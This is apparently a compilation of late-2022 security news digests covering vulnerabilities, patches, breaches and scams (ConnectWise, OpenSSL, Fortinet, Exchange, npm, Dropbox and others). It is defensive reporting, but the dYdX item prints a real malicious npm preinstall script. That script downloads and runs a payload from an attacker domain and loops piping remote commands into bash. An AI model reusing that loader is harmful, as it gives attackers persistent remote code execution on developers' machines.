1. Critical RCE Vulnerability Reported in ConnectWise Server Backup Solution

IT service management software platform ConnectWise has released Software patches for a critical security vulnerability in Recover and R1Soft Server Backup Manager (SBM). The issue, characterized as a “neutralization of Special Elements in Output Used by a Downstream Component,” could be abused to result in the execution of remote code or disclosure of sensitive information. ConnectWise’s advisory notes that the flaw affects Recover v2.9.7 and earlier, as well as R1Soft SBM v6.16.3 and earlier, are impacted by the critical flaw. At its core, the issue is tied to an upstream authentication bypass vulnerability in the ZK open source Ajax web application framework (CVE-2022-36537), which was initially patched in May 2022. Affected ConnectWise Recover SBMs have automatically been updated to the latest version of Recover (v2.9.9). While there is no evidence of active exploitation of the vulnerability in the wild, a proof-of-concept  shows that it can be abused to bypass authentication, gain remote code execution on SBM, and push LockBit 3.0 ransomware to all downstream endpoints.

2. OpenSSL Releases Patch for 2 New High-Severity Vulnerabilities

The OpenSSL project has rolled out fixes to contain two high-severity flaws in its widely used cryptography library that could result in a denial-of-service (DoS) and remote code execution. The issues, tracked as CVE-2022-3602 and CVE-2022-3786, have been described as buffer overrun vulnerabilities that can be triggered during X.509 certificate verification by supplying a specially-crafted email address. Versions 3.0.0 through 3.0.6 of the library are affected by the new flaws, which has been remediated in version 3.0.7. It’s worth noting that the commonly deployed OpenSSL 1.x versions are not vulnerable. While CVE-2022-3602 was initially treated as a Critical vulnerability, its severity has since been downgraded to High, citing stack overflow protections in modern platforms.

The OpenSSL Project further noted the bugs were introduced in OpenSSL 3.0.0 as part of punycode decoding functionality that’s currently used for processing email address name constraints in X.509 certificates. Despite the change in severity, OpenSSL said it considers “these issues to be serious vulnerabilities and affected users are encouraged to upgrade as soon as possible.”

3. Dropbox Breach: Hackers Unauthorizedly Accessed 130 GitHub Source Code Repositories

File hosting service Dropbox on Tuesday disclosed that it was the victim of a phishing campaign that allowed unidentified threat actors to gain unauthorized access to 130 of its source code repositories on GitHub. The breach resulted in the access of some API keys used by Dropbox developers as well as “a few thousand names and email addresses belonging to Dropbox employees, current and past customers, sales leads, and vendors.” It, however, stressed that the repositories did not contain source code related to its core apps or infrastructure. 

The investigation has found that the code accessed by this threat actor contained some credentials—primarily, API keys—used by Dropbox developers. The successful breach resulted from a phishing attack that targeted multiple Dropbox employees using emails impersonating the CircleCI continuous integration and delivery platform and redirecting them to a phishing landing page where they were asked to enter their GitHub username and password. On the same phishing page, the employees were also asked to “use their hardware authentication key to pass a One Time Password (OTP).”

Phishing email impersonating CircleCI  

After stealing the Dropboxers’ credentials, the attackers gained access to one of Dropbox’s GitHub organizations and stole 130 of its code repositories.

4. Exploit Released For Critical VMware RCE Vulnerability, Patch Now

Proof-of-concept exploit code is now available for a pre-authentication remote code execution (RCE) vulnerability allowing attackers to execute arbitrary code remotely with root privileges on unpatched Cloud Foundation and NSX Manager appliances. The flaw (CVE-2021-39144) is in the XStream open-source library used by the two VMware products and was assigned an almost maximum CVSSv3 base score of 9.8/10 by VMware. Unauthenticated threat actors can exploit it remotely in low-complexity attacks that will not require user interaction. VMware released security updates to address the CVE-2021-39144 flaw . Additionally, because of the severity of the issue, the company also provided patches for some end-of-life products.

5. Microsoft Fixes Critical RCE Flaw Affecting Azure Cosmos DB

Analysts at Orca Security have found a critical vulnerability affecting Azure Cosmos DB that allowed unauthenticated read and write access to containers. Named CosMiss, the security issue is in Azure Cosmos DB built-in Jupyter Notebooks that integrate into the Azure portal and Azure Cosmos DB accounts for querying, analyzing, and visualizing NoSQL data and results easier. Azure Cosmos DB is Microsoft’s fully managed NoSQL database that features broad API type support for applications of all sizes. Jupyter Notebooks is a web-based interactive platform that allows users to access Cosmos DB data. The issue that researchers at Orca Security discovered is that Cosmos DB Jupyter Notebooks lacked authentication checks that prevented unauthorized access, and even modify a container, if they had the UUID of the Notebook Workspace. 

6. New Open-Source Tool Scans Public AWS S3 Buckets For Secrets

 A new open-source ‘S3crets Scanner’ scanner allows researchers and red-teamers to search for ‘secrets’ mistakenly stored in publicly exposed or company’s Amazon AWS S3 storage buckets. Amazon S3 (Simple Storage Service) is a cloud storage service commonly used by companies to store software, services, and data in containers known as buckets.

Unfortunately, companies sometimes fail to properly secure their S3 buckets and thus publicly expose stored data to the Internet.  This type of misconfiguration has caused data breaches in the past, with threat actors gaining access to employee or customer details, backups, and other types of data.

During an exercise examining SEGA’s recent assets exposure, security researcher Eilon Harel discovered that no tools for scanning accidental data leaks exist, so he decided to create his own automated scanner and release it as an open-source tool on GitHub. To help with the timely discovery of exposed secrets on public S3 buckets, Harel created a Python tool named “S3crets Scanner”.

Actions performed by the S3crets Scanner

The scanner tool will only list S3 buckets that have the following configurations set to ‘False,’ meaning that exposure was likely accidental:

• “BlockPublicAcls”,
• “BlockPublicPolicy”,
• “IgnorePublicAcls”,
• “RestrictPublicBuckets”.

Any buckets that were intended to be public are filtered out from the list before the textual files are downloaded for the “secrets scanning” step. When scanning a bucket, the script will examine the content of text files using the Trufflehog3 tool, an improved Go-based version of the secrets scanner that can check for credentials and private keys on GitHub, GitLab, filesystems, and S3 buckets.

7. Microsoft fixes Windows vulnerable driver blocklist sync issue

Microsoft says it addressed an issue preventing the Windows kernel vulnerable driver blocklist from being synced to systems running older Windows versions. This blocklist (stored in the DriverSiPolicy.p7b file) is designed to block threat actors from dropping legitimate but vulnerable drivers on targets’ systems in Bring Your Own Vulnerable Driver (BYOVD) attacks on HVCI-enabled Windows machines or those running Windows in S Mode. The flawed drivers are then exploited to escalate privileges in the Windows kernel and execute malicious code, disabling security solutions and taking control of the device. Although Microsoft has been advertising its driver blocklist as capable of hardening Windows systems against vulnerable third-party drivers, ANALYGENCE security analyst Will Dormann found that wasn’t the case. As Dormann discovered, unlike Windows 11 devices, even up-to-date Windows 10 and Windows Server systems were being provided with an outdated list of vulnerable drivers from December 2019, exposing customers who thought they were protected to BYOVD attacks. Microsoft reluctantly acknowledged his findings and promised to address this issue and update its misleading online support docs.

1. New Timing Attack Against NPM Registry API Could Expose Private Packages

A novel timing attack discovered against the npm’s registry API can be exploited to potentially disclose private packages used by organizations, putting developers at risk of supply chain threats. By creating a list of possible package names, threat actors can detect organizations’ scoped private packages and then masquerade public packages, tricking employees and users into downloading them. The Scoped Confusion attack banks on analyzing the time it takes for the npm API (registry.npmjs[.]org) to return an HTTP 404 error message when querying for a private package, and measuring it against the response time for a non-existing module.

It takes on average less time to get a reply for a private package that does not exist compared to a private package that does. The idea, ultimately, is to identify packages internally used by companies, which could then be used by threat actors to create public versions of the same packages in an attempt to poison the software supply chain.

Recommendation 

As preventive measures, it’s recommended that organizations routinely scan npm and other package management platforms for lookalike or spoofed packages that masquerade as the internal counterparts.

2. PoC Exploit Released for Critical Fortinet Auth Bypass Bug Under Active Attacks

A proof-of-concept (PoC) exploit code has been made available for the recently disclosed critical security flaw affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager, making it imperative that users move quickly to apply the patches. The issue, tracked as CVE-2022-40684 (CVSS score: 9.6), concerns an authentication bypass vulnerability that could allow a remote attacker to perform malicious operations on the administrative interface via specially crafted HTTP(S) requests. A successful exploitation of the shortcoming is tantamount to granting complete access “to do just about anything” on the affected system, including altering network configurations, adding malicious users, and intercepting network traffic.
That said, the cybersecurity firm said that there are two essential prerequisites when making such a request: 

• Using the Forwarded header, an attacker is able to set the client_ip to “127.0.0.1”
• The “trusted access” authentication check verifies that the client_ip is “127.0.0.1” and the User-Agent is “Report Runner” both of which are under attacker control.

3. Zimbra Releases Patch for Actively Exploited Vulnerability in its Collaboration Suite

Zimbra has released patches to contain an actively exploited security flaw in its enterprise collaboration suite that could be leveraged to upload arbitrary files to vulnerable instances.
Tracked as CVE-2022-41352 (CVSS score: 9.8), the issue affects a component of the Zimbra suite called Amavis, an open source content filter, and more specifically, the cpio utility it uses to scan and extract archives. The flaw, in turn, is said to be rooted in another underlying vulnerability (CVE-2015-1197) that was first disclosed in early 2015, which according to Flashpoint was rectified, only to be subsequently reverted in later Linux distributions.
An attacker can use cpio package to gain incorrect access to any other user accounts. 
Fixes are available in the following versions: 

• Zimbra 9.0.0 Patch 27
• Zimbra 8.8.15 Patch 34
  All an adversary seeking needs to do to weaponize the shortcoming is to send an email with a specially crafted TAR archive attachment that, upon being received, gets submitted to Amavis, which uses the cpio module to trigger the exploit.

4. Researchers Keep a Wary Eye on Critical New Vulnerability in Apache Commons Text

Researchers are closely tracking a critical, newly disclosed vulnerability in Apache Commons Text that gives unauthenticated attackers a way to execute code remotely on servers running applications with the affected component. The flaw (CVE-2022-42889) has been assigned a severity ranking of 9.8 out of a possible 10.0 on the CVSS scale and exists in versions 1.5 through 1.9 of Apache Commons Text. Proof-of-concept code for the vulnerability is already available, though so far there has been no sign of exploit activity. The Apache Software Foundation (ASF) released an updated version of the software (Apache Commons Text 1.10.0) on September 24 but issued an advisory on the flaw only last Thursday. In it, the Foundation described the flaw as stemming from insecure defaults when Apache Commons Text performs variable interpolation, which basically is the process of looking up and evaluating string values in code that contain placeholders. NIST, meanwhile, urged users to upgrade to Apache Commons Text 1.10.0, which it said, “disables the problematic interpolators by default.”

5. Feature-Rich ‘Alchimist’ Cyberattack Framework Targets Windows, Mac, Linux Environments

Researchers have uncovered a potentially dangerous cyberattack framework targeting Windows, Linux, and Mac systems that they assess is likely already being used in the wild. The framework consists of a new, stand-alone, command-and-control (C2) tool dubbed “Alchimist,” a previously unseen remote access Trojan (RAT) called “Insekt,” and several bespoke tools like a custom backdoor and malware for exploiting vulnerabilities in macOS. It also includes reverse proxies and several dual-use tools such as netcat, psexec, and an intranet-scanning tool called fscan.Alchimist is a new C2 framework that can be rapidly deployed and operated with relatively low technical expertise by a threat actor. It can generate a configured payload, establish remote sessions, deploy payloads to the remote machines, capture screenshots, perform remote shellcode execution and run arbitrary commands. Giving it those capabilities are a variety of malware tools, including a Mach-0 backdoor for macOS and a separate macOS malware dropper that exploits a known vulnerability in a root program associated with major Linux distributions (CVE-2021-4034).

6. Critical RCE Vulnerability Discovered in Popular Cobalt Strike Hacking Software

HelpSystems, the company behind the Cobalt Strike software platform, has released an out-of-band security update to address a remote code execution vulnerability that could allow an attacker to take control of targeted systems. 
The post-exploitation tool consists of a team server, which functions as a command-and-control (C2) component, and a beacon, the default malware used to create a connection to the team server and drop next-stage payloads. The issue, tracked as CVE-2022-42948, affects Cobalt Strike version 4.7.1, and stems from an incomplete patch released on September 20, 2022, to rectify a cross-site scripting (XSS) vulnerability (CVE-2022-39197) that could lead to remote code execution. The XSS vulnerability could be triggered by manipulating some client-side UI input fields, by simulating a Cobalt Strike implant check-in or by hooking a Cobalt Strike implant running on a host. This means that a malicious actor could exploit this behavior by means of an HTML «object» tag, utilizing it to load a custom payload hosted on a remote server and inject it within the note field as well as the graphical file explorer menu in the Cobalt strike UI. However, it was found that remote code execution could be triggered in specific cases using the Java Swing framework, the graphical user interface toolkit that’s used to design Cobalt Strike.

7. Researchers Detail Windows Zero-Day Vulnerability Patched Last Month

Details have emerged about a now-patched security flaw in Windows Common Log File System (CLFS) that could be exploited by an attacker to gain elevated permissions on compromised machines. Tracked as CVE-2022-37969 (CVSS score: 7.8), the issue was addressed by Microsoft as part of its Patch Tuesday updates for September 2022, while also noting that it was being actively exploited in the wild. Now, the Zscaler ThreatLabz researcher team has disclosed that it captured an in-the-wild exploit for the then zero-day on September 2, 2022. The cause of the vulnerability is due to the lack of a strict bounds check on the field cbSymbolZone in the Base Record Header for the base log file (BLF) in CLFS.sys.  If the field cbSymbolZone is set to an invalid offset, an out-of-bounds write will occur at the invalid offset. According to Zscaler, the vulnerability is rooted in a metadata block called base record that’s present in a base log file, which is generated when a log file is created using the CreateLogFile() function.

1. dYdX Crypto Exchange NPM User Account Hijacked, Credential Stealing Malware Spread on Their Behalf

Researchers reported suspicious versions of NPM packages that belong to the dYdX Crypto Exchange. The poisoned packages were stealing credentials from victims’ machines and establishing a foothold for future arbitrary code execution. The packages were swiftly removed from the NPM registry. It seems this attack is a result of an account takeover of the NPM user of dYdX employee through which the attacker was able to upload new versions of existing credible packages.

Incident details

On September 23rd, the new 1.2.2 version of the NPM packages “@dydxprotocol/perpetual” was uploaded by a known user account of dYdX employee this version included a new preinstall script:

This command downloads and runs the following Bash script:

curl http://api.circle-cdn.com/setup.py --output setuppm.py >> /dev/null 2>&1 && python3 setuppm.py 
&&
rm setuppm.py
&&
if pgrep -f 'api.circle-cdn.com' > /dev/null;
    then pkill -f 'api.circle-cdn.com';
fi
&&
(set +m; bash -c 'while sleep 10;
do outtime=$(curl -s http://api.circle-cdn.com/time.js);
sleep $outtime; curl -s http://api.circle-cdn.com/install.js | bash;
done' &) >> /dev/null 2>&1

Let’s quickly walk through these commands.

• First, download a python script from a different URL under the same domain, save it to disk and run it.
• Then, cleanup — remove the python script from the disk and kill the download process if it is still alive
• The last four lines establish a channel for the attacker to run arbitrary commands on the infected machine. 

This channel is controlled by the files:

• Time.js — determine the time the victim’s system will sleep before checking with the C2 server for a new command
• Install.js — determine the actions that will be run on the victim’s machine
  Since the attacker can change the content of these two files hosted on their C2 server, they can run any code they’d like.

2. Researchers Report Supply Chain Vulnerability in Packagist PHP Repository

Researchers have disclosed details about a now-patched high-severity security flaw in Packagist, a PHP software package repository, that could have been exploited to mount software supply chain attacks. This vulnerability allows gaining control of Packagist.  Packagist is used by the PHP package manager Composer to determine and download software dependencies that are included by developers in their projects. Tracked as CVE-2022-24828 (CVSS score: 8.8), the issue has been described as a case of command injection and is linked to another similar Composer bug (CVE-2021-29472). An attacker controlling a Git or Mercurial repository explicitly listed by URL in a project’s composer.json can use specially crafted branch names to execute commands on the machine running composer update.  A successful exploitation of the flaw meant that requests to update a package could have been hijacked to distribute malicious dependencies by executing arbitrary commands on the backend server running the official instance of Packagist.

3. CISA Warns of Hackers Exploiting Critical Atlassian Bitbucket Server Vulnerability

 
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Friday added a recently disclosed critical flaw impacting Atlassian’s Bitbucket Server and Data Center to the Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. Tracked as CVE-2022-36804, the issue relates to a command injection vulnerability that could allow malicious actors to gain arbitrary code execution on susceptible installations by sending a specially crafted HTTP request. Successful exploitation, however, banks on the prerequisite that the attacker already has access to a public repository or possesses read permissions to a private Bitbucket repository. All versions of Bitbucket Server and Datacenter released after 6.10.17 including 7.0.0 and newer are affected, this means that all instances that are running any versions between 7.0.0 and 8.3.0 inclusive are affected by this vulnerability. CISA did not provide further details about how the flaw is being exploited and how widespread exploitation efforts are.

4. New Unpatched Zero-Day Microsoft Exchange Vulnerability Under ‘Active Exploitation’

New zero-day vulnerabilities in fully patched Microsoft Exchange servers are under active exploitation. They were discovered in August and allow for remote code execution on affected systems. Researchers suspect that Chinese hackers are responsible for the exploit. Known as CVE-2022-41040 and CVE-2022-41082, the pair of vulnerabilities are being actively exploited in real-world attacks that researchers say could give the hacker foothold in the victim’s system by dropping web shells and using them to carry out movements across a compromised network.
In a blog post on the exploits, Microsoft says it is actively investigating and says it is only aware of “limited targeted attacks” using them to get into users’ systems and that verified user credentials are required by the hacker to use the exploits. It was first spotted by a team from GTSC during a routine security monitoring and incident response exercise for a client last month. They noticed a number of obfuscated webshells in Exchange servers that were similar to a ProxyShell exploit that had been patched a year earlier. 

5. Matrix: Install Security Update to Fix End-To-End Encryption Flaws

Matrix decentralized communication platform has published a security warning about two critical-severity vulnerabilities that affect the end-to-end encryption in the software development kit (SDK).
A threat actor exploiting these flaws could break the confidentiality of Matrix communications and run man-in-the-middle attacks that expose message contents in a readable form.
Clients affected by the bugs are those using the matrix-js-sdk, matrix-ios-sdk, and matrix-android-sdk2, like Element, Beeper, Cinny, SchildiChat, Circuli, and Synod.im.
Matrix underlines that the issues have been fixed and all that users need to do to keep their communications safe is apply the available updates to their IM clients.

The critical-severity flaws discovered by the team are the following:

• CVE-2022-39250: Key/Device identifier confusion in SAS verification on matrix-js-sdk, enabling a malicious server administrator to break emoji-based verification when cross-signing is used, authenticating themselves instead of the target user;
• CVE-2022-39251: Protocol-confusion bug in matrix-js-sdk, leading to incorrectly accepting messages from a spoofed sender, opening up the possibility of impersonating a trusted sender. The same flaw makes it possible for malicious homeserver admins to add backup keys to the target’s account;
• CVE-2022-39255: Same as CVE-2022-39251 but impacting matrix-ios-sdk (iOS clients);
• CVE-2022-39248: Same as CVE-2022-39251 but impacting matrix-android-sdk2 (Android clients).

6. Bug Exploitation Now Top Ransomware Access Vector

Vulnerability exploitation accounted for 52% of ransomware incidents investigated by Secureworks over the past 12 months, making it the number one initial access vector for threat actors. Threat actors continue to rapidly weaponize new vulnerabilities, while developers of offensive security tools (OSTs) are also incentivized – by the need to generate profit or keep their tools relevant – to promptly implement new exploit code,” it argued.

“Debates about responsible disclosure often miss the fact that even where a patch exists, the process of patching a vulnerability in an enterprise environment is far more complex and slower than the process for threat actors or OST developers of weaponizing publicly available exploit code.” However, security teams must also guard against the persistent threat of credential-based attacks. Secureworks noted a 150% year-on-year increase in the use of info-stealers designed to grab credentials and gain a foothold on networks.

7. Fake Microsoft Exchange ProxyNotShell exploits for sale on GitHub

Scammers are impersonating security researchers to sell fake proof-of-concept ProxyNotShell exploits for newly discovered Microsoft Exchange zero-day vulnerabilities. Vietnamese cybersecurity firm GTSC disclosed that some of their customers had been attacked using two new zero-day vulnerabilities in Microsoft Exchange.  Security researchers are keeping the technical details of the vulnerabilities private, and it appears only a small number of threat actors are exploiting them. Due to this, other researchers and threat actors are awaiting the first public disclosure of the vulnerabilities to use in their own activities, whether defending a network or hacking into one.

Scammers selling fake exploits

To take advantage of this lull before the storm, a scammer has begun creating GitHub repositories where they attempt to sell fake proof-of-concept exploits for the Exchange CVE-2022-41040 and CVE-2022-41082 vulnerabilities.
A scam account found by Paulo Pacheco impersonated Kevin Beaumont who has been documenting the new Exchange vulnerabilities and available mitigations.

Fake Kevin Beaumont account on GitHub

The repositories themselves don’t contain anything of importance, but the README.md describes what is currently known about the new vulnerabilities, followed by a pitch on how they are selling one copy of a PoC exploit for the zero days. This means it can go unnoticed by the user and potentially by the security team as well. Such a powerfull tool should not be fully public, there is strictly only 1 copy available so a REAL researcher can use it: https://satoshidisk.com/pay/xxx,” reads the text in the scam repository. The README files contain a link for a SatoshiDisk page where the scammer is attempting to sell the fake exploit for 0.01825265 Bitcoin, worth approximately $420.00. It should go without saying that this is just a scam, and sending any bitcoin will likely not result in you receiving anything.